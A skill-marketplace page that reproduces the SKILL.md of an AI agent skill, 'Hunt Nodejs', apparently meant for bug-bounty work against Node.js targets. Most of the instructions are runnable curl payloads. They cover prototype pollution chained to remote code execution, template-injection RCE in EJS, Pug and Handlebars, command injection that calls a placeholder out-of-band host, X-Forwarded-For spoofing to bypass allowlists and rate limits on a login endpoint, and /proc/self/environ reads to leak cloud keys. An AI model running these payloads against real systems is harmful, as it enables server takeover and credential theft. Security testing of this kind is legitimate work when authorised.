Hunt Nodejs logo

Hunt Nodejs

CommunityPopular
elementalsouls
hunt-nodejs

Hunt Node.js specific vulnerabilities — Prototype Pollution → RCE chains (lodash/merge/assign), Express trust proxy misconfiguration, child_process/eval injection, template engine SSTI (EJS/Pug/Handlebars), path traversal in file servers, require() injection, environment variable exfil via /proc/self/environ. Use when target runs Node.js/Express/Fastify/NestJS/Koa.

Overview

Publisherelementalsouls
RepositoryClaude-BugHunter
Skill namehunt-nodejs
Stars
4.5K
Forks
678
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by elementalsouls on GitHub. Read the source before you install it.

Installation

Install the Hunt Nodejs AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter.git /tmp/Claude-BugHunter
mkdir -p .claude/skills
cp -r /tmp/Claude-BugHunter/skills/hunt-nodejs .claude/skills/hunt-nodejs
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Hunt Nodejs in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Hunt Nodejs on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Hunt Nodejs is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

HUNT-NODEJS — Node.js Specific Vulnerabilities

Crown Jewel Targets

Prototype Pollution reaching a sink in Node.js backend = Critical RCE.

Highest-value chains:

  • Prototype Pollution → RCE__proto__ injection via lodash.merge / Object.assign → polluted prototype reaches child_process.exec or vm.runInNewContext sink
  • Express trust proxyapp.set('trust proxy', true) without validation → attacker sets X-Forwarded-For to bypass IP allowlists or rate limits
  • EJS/Pug SSTI — template engine receives user input → {{= process.mainModule.require('child_process').execSync('id') }}
  • child_process injection — user input interpolated into shell command string → OS command injection
  • require() path traversal — attacker-controlled module path → load arbitrary file as JS

Attack Surface Signals

X-Powered-By: Express           Confirms Express.js
Node.js in error messages        Runtime detected
package.json exposed             Dependency list + versions
/proc/self/environ accessible    Environment variable exfil
Error stack traces with .js paths  Node.js confirmed
__proto__ in JSON accepted        Prototype pollution candidate

Phase 1 — Fingerprint

bash
# Confirm Node.js/Express
curl -sI https://$TARGET/ | grep -i "x-powered-by\|nodejs\|express"

# Check for package.json / node_modules exposure
curl -s "https://$TARGET/package.json"
curl -s "https://$TARGET/package-lock.json"
curl -s "https://$TARGET/node_modules/.package-lock.json"

# Error-based version detection
curl -s "https://$TARGET/nonexistent-path-xyz" | grep -i "node\|express\|cannot GET"

Phase 2 — Prototype Pollution Detection

bash
# JSON body injection — test if __proto__ is accepted
curl -s -X POST https://$TARGET/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"polluted": "yes"}}'

# Constructor prototype
curl -s -X POST https://$TARGET/api/settings \
  -H "Content-Type: application/json" \
  -d '{"constructor": {"prototype": {"isAdmin": true}}}'

# URL query param injection (qs library)
curl -s "https://$TARGET/api/search?__proto__[polluted]=yes&query=test"
curl -s "https://$TARGET/api/data?constructor[prototype][admin]=1"

# Confirm pollution: does a subsequent request reflect the polluted key?
curl -s "https://$TARGET/api/me" | grep -i "polluted\|isAdmin\|admin"

Phase 3 — Prototype Pollution → RCE Chain

bash
# If pollution is confirmed, attempt to reach dangerous sinks

# Sink 1: child_process via options.shell pollution
curl -s -X POST https://$TARGET/api/update \
  -H "Content-Type: application/json" \
  -d '{
    "__proto__": {
      "shell": "node",
      "NODE_OPTIONS": "--require /proc/self/fd/0",
      "env": {"NODE_OPTIONS": "--inspect=COLLAB_HOST"}
    }
  }'

# Sink 2: lodash template pollution (CVE-2021-23337)
curl -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"sourceURL": "\nreturn process.mainModule.require(\"child_process\").execSync(\"id\").toString()//"}}'

# Sink 3: ejs template options pollution
# If EJS is used for rendering, pollute the `opts.escapeXML` or `opts.outputFunctionName`
curl -s -X POST https://$TARGET/api/template \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"outputFunctionName": "x;process.mainModule.require(\"child_process\").execSync(\"curl COLLAB_HOST/pp-rce\");x"}}'

# OOB confirmation — check Interactsh for callback

Phase 4 — Express Trust Proxy Abuse

bash
# If Express has trust proxy enabled, X-Forwarded-For is trusted
# Test: does spoofed IP bypass IP-based rate limiting or allowlist?

# Spoof IP to 127.0.0.1 (localhost bypass)
curl -s -X POST https://$TARGET/api/admin/action \
  -H "X-Forwarded-For: 127.0.0.1" \
  -H "Content-Type: application/json" \
  -d '{"action": "test"}'

# Spoof to internal IP range
curl -s -X POST https://$TARGET/api/internal \
  -H "X-Forwarded-For: 10.0.0.1" \
  -H "X-Real-IP: 10.0.0.1"

# Rate limit bypass via rotating fake IPs
for i in $(seq 1 50); do
  curl -s https://$TARGET/api/login \
    -H "X-Forwarded-For: 1.2.3.$i" \
    -d '{"email":"admin@test.com","password":"wrong"}' \
    -o /dev/null -w "$i: %{http_code}\n"
done

Phase 5 — Template Engine SSTI (EJS / Pug / Handlebars)

bash
# EJS SSTI — if user input reaches EJS template context
# Test basic: <%= 7*7 %> should return 49
curl -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "<%= 7*7 %>"}'

# EJS RCE payload
curl -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "<%= process.mainModule.require(\"child_process\").execSync(\"id\").toString() %>"}'

# Pug SSTI
curl -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "- var x = root.process\n= x.mainModule.require(\"child_process\").execSync(\"id\")"}'

# Handlebars — prototype pollution via template
curl -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "{{#with \"s\" as |string|}}{{#with \"e\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \"constructor\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \"return process.mainModule.require(childprocess).execSync(id)\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}"}'

Phase 6 — child_process Command Injection

bash
# Look for endpoints that run shell commands with user input
# Signals: /api/convert, /api/exec, /api/ping, /api/scan

# Basic injection test
curl -s "https://$TARGET/api/ping?host=127.0.0.1;id"
curl -s "https://$TARGET/api/convert?file=test.pdf;curl+COLLAB_HOST/ci"
curl -s -X POST https://$TARGET/api/exec \
  -H "Content-Type: application/json" \
  -d '{"command": "ls", "args": ["&&", "curl", "COLLAB_HOST/ci"]}'

# OOB via DNS
curl -s "https://$TARGET/api/dns?host=\$(curl+COLLAB_HOST/dns-ci).example.com"

Phase 7 — /proc/self/environ Exfil

bash
# If LFI exists on Node.js app, /proc/self/environ leaks env vars
curl -s "https://$TARGET/api/file?path=/proc/self/environ"
curl -s "https://$TARGET/api/read?file=../../../../proc/self/environ"

# Also check:
curl -s "https://$TARGET/api/file?path=/proc/self/cmdline"  # full command line
curl -s "https://$TARGET/api/file?path=/proc/self/cwd"       # working directory

Chain Table

Node.js findingChain toImpact
Prototype pollution confirmedFind RCE sink (child_process, eval)Critical RCE
Express trust proxyBypass IP allowlist / rate limitAuth bypass / DoS bypass
SSTI in template engineOS command executionCritical RCE
child_process injectionid && curl COLLAB_HOSTCritical RCE
/proc/self/environ via LFIAWS_ACCESS_KEY_ID leakedCloud compromise

Validation

✅ Prototype pollution: key appears in subsequent API responses without being sent ✅ RCE chain: OOB callback received OR id output in response ✅ Trust proxy: spoofed IP accepted, bypasses rate limit or allowlist

Severity:

  • Prototype pollution → RCE: Critical
  • SSTI → RCE: Critical
  • child_process injection: Critical
  • Trust proxy → rate limit bypass: Medium
  • /proc/self/environ exfil: High (if cloud keys present)

Frequently asked questions

What does the Hunt Nodejs AI skill do?

Hunt Node.js specific vulnerabilities — Prototype Pollution → RCE chains (lodash/merge/assign), Express trust proxy misconfiguration, child_process/eval injection, template engine SSTI (EJS/Pug/Handlebars), path traversal in file servers, require() injection, environment variable exfil via /proc/self/environ. Use when target runs Node.js/Express/Fastify/NestJS/Koa.

Why use Hunt Nodejs on TypingMind?

Because you install it once and use it with any model. Hunt Nodejs is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Hunt Nodejs in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-nodejs. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Hunt Nodejs?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Hunt Nodejs?

As many as you like. As long as a model supports skills, you can use Hunt Nodejs with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Hunt Nodejs AI skill free?

Yes. It is published on GitHub by elementalsouls under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇